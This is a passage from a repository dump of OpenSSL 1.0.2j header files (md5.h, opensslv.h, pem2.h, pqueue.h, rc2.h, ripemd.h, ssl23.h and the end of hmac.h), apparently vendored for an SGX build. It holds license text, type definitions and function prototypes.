*data, size_t len); 97 | int HMAC_Final(HMAC_CTX *ctx, unsigned char *md, unsigned int *len); 98 | unsigned char *HMAC(const EVP_MD *evp_md, const void *key, int key_len, 99 | const unsigned char *d, size_t n, unsigned char *md, 100 | unsigned int *md_len); 101 | int HMAC_CTX_copy(HMAC_CTX *dctx, HMAC_CTX *sctx); 102 | 103 | void HMAC_CTX_set_flags(HMAC_CTX *ctx, unsigned long flags); 104 | 105 | #ifdef __cplusplus 106 | } 107 | #endif 108 | 109 | #endif 110 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/md5.h: -------------------------------------------------------------------------------- 1 | /* crypto/md5/md5.h */ 2 | /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_MD5_H 60 | # define HEADER_MD5_H 61 | 62 | # include 63 | # include 64 | 65 | #ifdef __cplusplus 66 | extern "C" { 67 | #endif 68 | 69 | # ifdef OPENSSL_NO_MD5 70 | # error MD5 is disabled. 71 | # endif 72 | 73 | /* 74 | * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 75 | * ! MD5_LONG has to be at least 32 bits wide. If it's wider, then ! 76 | * ! MD5_LONG_LOG2 has to be defined along. ! 77 | * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 78 | */ 79 | 80 | # if defined(__LP32__) 81 | # define MD5_LONG unsigned long 82 | # elif defined(OPENSSL_SYS_CRAY) || defined(__ILP64__) 83 | # define MD5_LONG unsigned long 84 | # define MD5_LONG_LOG2 3 85 | /* 86 | * _CRAY note. I could declare short, but I have no idea what impact 87 | * does it have on performance on none-T3E machines. I could declare 88 | * int, but at least on C90 sizeof(int) can be chosen at compile time. 89 | * So I've chosen long... 90 | * 91 | */ 92 | # else 93 | # define MD5_LONG unsigned int 94 | # endif 95 | 96 | # define MD5_CBLOCK 64 97 | # define MD5_LBLOCK (MD5_CBLOCK/4) 98 | # define MD5_DIGEST_LENGTH 16 99 | 100 | typedef struct MD5state_st { 101 | MD5_LONG A, B, C, D; 102 | MD5_LONG Nl, Nh; 103 | MD5_LONG data[MD5_LBLOCK]; 104 | unsigned int num; 105 | } MD5_CTX; 106 | 107 | # ifdef OPENSSL_FIPS 108 | int private_MD5_Init(MD5_CTX *c); 109 | # endif 110 | int MD5_Init(MD5_CTX *c); 111 | int MD5_Update(MD5_CTX *c, const void *data, size_t len); 112 | int MD5_Final(unsigned char *md, MD5_CTX *c); 113 | unsigned char *MD5(const unsigned char *d, size_t n, unsigned char *md); 114 | void MD5_Transform(MD5_CTX *c, const unsigned char *b); 115 | #ifdef __cplusplus 116 | } 117 | #endif 118 | 119 | #endif 120 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/opensslv.h: -------------------------------------------------------------------------------- 1 | #ifndef HEADER_OPENSSLV_H 2 | # define HEADER_OPENSSLV_H 3 | 4 | #ifdef __cplusplus 5 | extern "C" { 6 | #endif 7 | 8 | /*- 9 | * Numeric release version identifier: 10 | * MNNFFPPS: major minor fix patch status 11 | * The status nibble has one of the values 0 for development, 1 to e for betas 12 | * 1 to 14, and f for release. The patch level is exactly that. 13 | * For example: 14 | * 0.9.3-dev 0x00903000 15 | * 0.9.3-beta1 0x00903001 16 | * 0.9.3-beta2-dev 0x00903002 17 | * 0.9.3-beta2 0x00903002 (same as ...beta2-dev) 18 | * 0.9.3 0x0090300f 19 | * 0.9.3a 0x0090301f 20 | * 0.9.4 0x0090400f 21 | * 1.2.3z 0x102031af 22 | * 23 | * For continuity reasons (because 0.9.5 is already out, and is coded 24 | * 0x00905100), between 0.9.5 and 0.9.6 the coding of the patch level 25 | * part is slightly different, by setting the highest bit. This means 26 | * that 0.9.5a looks like this: 0x0090581f. At 0.9.6, we can start 27 | * with 0x0090600S... 28 | * 29 | * (Prior to 0.9.3-dev a different scheme was used: 0.9.2b is 0x0922.) 30 | * (Prior to 0.9.5a beta1, a different scheme was used: MMNNFFRBB for 31 | * major minor fix final patch/beta) 32 | */ 33 | # define OPENSSL_VERSION_NUMBER 0x100020afL 34 | # ifdef OPENSSL_FIPS 35 | # define OPENSSL_VERSION_TEXT "OpenSSL 1.0.2j-fips 26 Sep 2016" 36 | # else 37 | # define OPENSSL_VERSION_TEXT "OpenSSL 1.0.2j 26 Sep 2016" 38 | # endif 39 | # define OPENSSL_VERSION_PTEXT " part of " OPENSSL_VERSION_TEXT 40 | 41 | /*- 42 | * The macros below are to be used for shared library (.so, .dll, ...) 43 | * versioning. That kind of versioning works a bit differently between 44 | * operating systems. The most usual scheme is to set a major and a minor 45 | * number, and have the runtime loader check that the major number is equal 46 | * to what it was at application link time, while the minor number has to 47 | * be greater or equal to what it was at application link time. With this 48 | * scheme, the version number is usually part of the file name, like this: 49 | * 50 | * libcrypto.so.0.9 51 | * 52 | * Some unixen also make a softlink with the major verson number only: 53 | * 54 | * libcrypto.so.0 55 | * 56 | * On Tru64 and IRIX 6.x it works a little bit differently. There, the 57 | * shared library version is stored in the file, and is actually a series 58 | * of versions, separated by colons. The rightmost version present in the 59 | * library when linking an application is stored in the application to be 60 | * matched at run time. When the application is run, a check is done to 61 | * see if the library version stored in the application matches any of the 62 | * versions in the version string of the library itself. 63 | * This version string can be constructed in any way, depending on what 64 | * kind of matching is desired. However, to implement the same scheme as 65 | * the one used in the other unixen, all compatible versions, from lowest 66 | * to highest, should be part of the string. Consecutive builds would 67 | * give the following versions strings: 68 | * 69 | * 3.0 70 | * 3.0:3.1 71 | * 3.0:3.1:3.2 72 | * 4.0 73 | * 4.0:4.1 74 | * 75 | * Notice how version 4 is completely incompatible with version, and 76 | * therefore give the breach you can see. 77 | * 78 | * There may be other schemes as well that I haven't yet discovered. 79 | * 80 | * So, here's the way it works here: first of all, the library version 81 | * number doesn't need at all to match the overall OpenSSL version. 82 | * However, it's nice and more understandable if it actually does. 83 | * The current library version is stored in the macro SHLIB_VERSION_NUMBER, 84 | * which is just a piece of text in the format "M.m.e" (Major, minor, edit). 85 | * For the sake of Tru64, IRIX, and any other OS that behaves in similar ways, 86 | * we need to keep a history of version numbers, which is done in the 87 | * macro SHLIB_VERSION_HISTORY. The numbers are separated by colons and 88 | * should only keep the versions that are binary compatible with the current. 89 | */ 90 | # define SHLIB_VERSION_HISTORY "" 91 | # define SHLIB_VERSION_NUMBER "1.0.0" 92 | 93 | 94 | #ifdef __cplusplus 95 | } 96 | #endif 97 | #endif /* HEADER_OPENSSLV_H */ 98 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/pem2.h: -------------------------------------------------------------------------------- 1 | /* ==================================================================== 2 | * Copyright (c) 1999 The OpenSSL Project. All rights reserved. 3 | * 4 | * Redistribution and use in source and binary forms, with or without 5 | * modification, are permitted provided that the following conditions 6 | * are met: 7 | * 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 11 | * 2. Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in 13 | * the documentation and/or other materials provided with the 14 | * distribution. 15 | * 16 | * 3. All advertising materials mentioning features or use of this 17 | * software must display the following acknowledgment: 18 | * "This product includes software developed by the OpenSSL Project 19 | * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" 20 | * 21 | * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to 22 | * endorse or promote products derived from this software without 23 | * prior written permission. For written permission, please contact 24 | * licensing@OpenSSL.org. 25 | * 26 | * 5. Products derived from this software may not be called "OpenSSL" 27 | * nor may "OpenSSL" appear in their names without prior written 28 | * permission of the OpenSSL Project. 29 | * 30 | * 6. Redistributions of any form whatsoever must retain the following 31 | * acknowledgment: 32 | * "This product includes software developed by the OpenSSL Project 33 | * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" 34 | * 35 | * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY 36 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 37 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 38 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR 39 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 40 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 41 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 42 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 43 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 44 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 45 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 46 | * OF THE POSSIBILITY OF SUCH DAMAGE. 47 | * ==================================================================== 48 | * 49 | * This product includes cryptographic software written by Eric Young 50 | * (eay@cryptsoft.com). This product includes software written by Tim 51 | * Hudson (tjh@cryptsoft.com). 52 | * 53 | */ 54 | 55 | /* 56 | * This header only exists to break a circular dependency between pem and err 57 | * Ben 30 Jan 1999. 58 | */ 59 | 60 | #ifdef __cplusplus 61 | extern "C" { 62 | #endif 63 | 64 | #ifndef HEADER_PEM_H 65 | void ERR_load_PEM_strings(void); 66 | #endif 67 | 68 | #ifdef __cplusplus 69 | } 70 | #endif 71 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/pqueue.h: -------------------------------------------------------------------------------- 1 | /* crypto/pqueue/pqueue.h */ 2 | /* 3 | * DTLS implementation written by Nagendra Modadugu 4 | * (nagendra@cs.stanford.edu) for the OpenSSL project 2005. 5 | */ 6 | /* ==================================================================== 7 | * Copyright (c) 1999-2005 The OpenSSL Project. All rights reserved. 8 | * 9 | * Redistribution and use in source and binary forms, with or without 10 | * modification, are permitted provided that the following conditions 11 | * are met: 12 | * 13 | * 1. Redistributions of source code must retain the above copyright 14 | * notice, this list of conditions and the following disclaimer. 15 | * 16 | * 2. Redistributions in binary form must reproduce the above copyright 17 | * notice, this list of conditions and the following disclaimer in 18 | * the documentation and/or other materials provided with the 19 | * distribution. 20 | * 21 | * 3. All advertising materials mentioning features or use of this 22 | * software must display the following acknowledgment: 23 | * "This product includes software developed by the OpenSSL Project 24 | * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" 25 | * 26 | * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to 27 | * endorse or promote products derived from this software without 28 | * prior written permission. For written permission, please contact 29 | * openssl-core@OpenSSL.org. 30 | * 31 | * 5. Products derived from this software may not be called "OpenSSL" 32 | * nor may "OpenSSL" appear in their names without prior written 33 | * permission of the OpenSSL Project. 34 | * 35 | * 6. Redistributions of any form whatsoever must retain the following 36 | * acknowledgment: 37 | * "This product includes software developed by the OpenSSL Project 38 | * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" 39 | * 40 | * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY 41 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 42 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 43 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR 44 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 45 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 46 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 47 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 49 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 50 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 51 | * OF THE POSSIBILITY OF SUCH DAMAGE. 52 | * ==================================================================== 53 | * 54 | * This product includes cryptographic software written by Eric Young 55 | * (eay@cryptsoft.com). This product includes software written by Tim 56 | * Hudson (tjh@cryptsoft.com). 57 | * 58 | */ 59 | 60 | #ifndef HEADER_PQUEUE_H 61 | # define HEADER_PQUEUE_H 62 | 63 | # include 64 | # include 65 | # include 66 | 67 | #ifdef __cplusplus 68 | extern "C" { 69 | #endif 70 | typedef struct _pqueue *pqueue; 71 | 72 | typedef struct _pitem { 73 | unsigned char priority[8]; /* 64-bit value in big-endian encoding */ 74 | void *data; 75 | struct _pitem *next; 76 | } pitem; 77 | 78 | typedef struct _pitem *piterator; 79 | 80 | pitem *pitem_new(unsigned char *prio64be, void *data); 81 | void pitem_free(pitem *item); 82 | 83 | pqueue pqueue_new(void); 84 | void pqueue_free(pqueue pq); 85 | 86 | pitem *pqueue_insert(pqueue pq, pitem *item); 87 | pitem *pqueue_peek(pqueue pq); 88 | pitem *pqueue_pop(pqueue pq); 89 | pitem *pqueue_find(pqueue pq, unsigned char *prio64be); 90 | pitem *pqueue_iterator(pqueue pq); 91 | pitem *pqueue_next(piterator *iter); 92 | 93 | void pqueue_print(pqueue pq); 94 | int pqueue_size(pqueue pq); 95 | 96 | #ifdef __cplusplus 97 | } 98 | #endif 99 | #endif /* ! HEADER_PQUEUE_H */ 100 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/rc2.h: -------------------------------------------------------------------------------- 1 | /* crypto/rc2/rc2.h */ 2 | /* Copyright (C) 1995-1997 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_RC2_H 60 | # define HEADER_RC2_H 61 | 62 | # include /* OPENSSL_NO_RC2, RC2_INT */ 63 | # ifdef OPENSSL_NO_RC2 64 | # error RC2 is disabled. 65 | # endif 66 | 67 | # define RC2_ENCRYPT 1 68 | # define RC2_DECRYPT 0 69 | 70 | # define RC2_BLOCK 8 71 | # define RC2_KEY_LENGTH 16 72 | 73 | #ifdef __cplusplus 74 | extern "C" { 75 | #endif 76 | 77 | typedef struct rc2_key_st { 78 | RC2_INT data[64]; 79 | } RC2_KEY; 80 | 81 | # ifdef OPENSSL_FIPS 82 | void private_RC2_set_key(RC2_KEY *key, int len, const unsigned char *data, 83 | int bits); 84 | # endif 85 | void RC2_set_key(RC2_KEY *key, int len, const unsigned char *data, int bits); 86 | void RC2_ecb_encrypt(const unsigned char *in, unsigned char *out, 87 | RC2_KEY *key, int enc); 88 | void RC2_encrypt(unsigned long *data, RC2_KEY *key); 89 | void RC2_decrypt(unsigned long *data, RC2_KEY *key); 90 | void RC2_cbc_encrypt(const unsigned char *in, unsigned char *out, long length, 91 | RC2_KEY *ks, unsigned char *iv, int enc); 92 | void RC2_cfb64_encrypt(const unsigned char *in, unsigned char *out, 93 | long length, RC2_KEY *schedule, unsigned char *ivec, 94 | int *num, int enc); 95 | void RC2_ofb64_encrypt(const unsigned char *in, unsigned char *out, 96 | long length, RC2_KEY *schedule, unsigned char *ivec, 97 | int *num); 98 | 99 | #ifdef __cplusplus 100 | } 101 | #endif 102 | 103 | #endif 104 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/ripemd.h: -------------------------------------------------------------------------------- 1 | /* crypto/ripemd/ripemd.h */ 2 | /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_RIPEMD_H 60 | # define HEADER_RIPEMD_H 61 | 62 | # include 63 | # include 64 | 65 | #ifdef __cplusplus 66 | extern "C" { 67 | #endif 68 | 69 | # ifdef OPENSSL_NO_RIPEMD 70 | # error RIPEMD is disabled. 71 | # endif 72 | 73 | # if defined(__LP32__) 74 | # define RIPEMD160_LONG unsigned long 75 | # elif defined(OPENSSL_SYS_CRAY) || defined(__ILP64__) 76 | # define RIPEMD160_LONG unsigned long 77 | # define RIPEMD160_LONG_LOG2 3 78 | # else 79 | # define RIPEMD160_LONG unsigned int 80 | # endif 81 | 82 | # define RIPEMD160_CBLOCK 64 83 | # define RIPEMD160_LBLOCK (RIPEMD160_CBLOCK/4) 84 | # define RIPEMD160_DIGEST_LENGTH 20 85 | 86 | typedef struct RIPEMD160state_st { 87 | RIPEMD160_LONG A, B, C, D, E; 88 | RIPEMD160_LONG Nl, Nh; 89 | RIPEMD160_LONG data[RIPEMD160_LBLOCK]; 90 | unsigned int num; 91 | } RIPEMD160_CTX; 92 | 93 | # ifdef OPENSSL_FIPS 94 | int private_RIPEMD160_Init(RIPEMD160_CTX *c); 95 | # endif 96 | int RIPEMD160_Init(RIPEMD160_CTX *c); 97 | int RIPEMD160_Update(RIPEMD160_CTX *c, const void *data, size_t len); 98 | int RIPEMD160_Final(unsigned char *md, RIPEMD160_CTX *c); 99 | unsigned char *RIPEMD160(const unsigned char *d, size_t n, unsigned char *md); 100 | void RIPEMD160_Transform(RIPEMD160_CTX *c, const unsigned char *b); 101 | #ifdef __cplusplus 102 | } 103 | #endif 104 | 105 | #endif 106 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/ssl23.h: -------------------------------------------------------------------------------- 1 | /* ssl/ssl23.h */ 2 | /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_SSL23_H 60 | # define HEADER_SSL23_H 61 | 62 | #ifdef __cplusplus 63 | extern "C" { 64 | #endif 65 | 66 | /* 67 | * client 68 | */ 69 | /* write to server */ 70 | # define SSL23_ST_CW_CLNT_HELLO_A (0x210|SSL_ST_CONNECT) 71 | # define SSL23_ST_CW_CLNT_HELLO_B (0x211|SSL_ST_CONNECT) 72 | /* read from server */ 73 | # define SSL23_ST_CR_SRVR_HELLO_A (0x220|SSL_ST_CONNECT) 74 | # define SSL23_ST_CR_SRVR_HELLO_B (0x221|SSL_ST_CONNECT) 75 | 76 | /* server */ 77 | /* read from client */ 78 | # define SSL23_ST_SR_CLNT_HELLO_A (0x210|SSL_ST_ACCEPT) 79 | # define SSL23_ST_SR_CLNT_HELLO_B (0x211|SSL_ST_ACCEPT) 80 | 81 | #ifdef __cplusplus 82 | } 83 | #endif 84 | #endif 85 | -------------------------------------------------------------------------------- 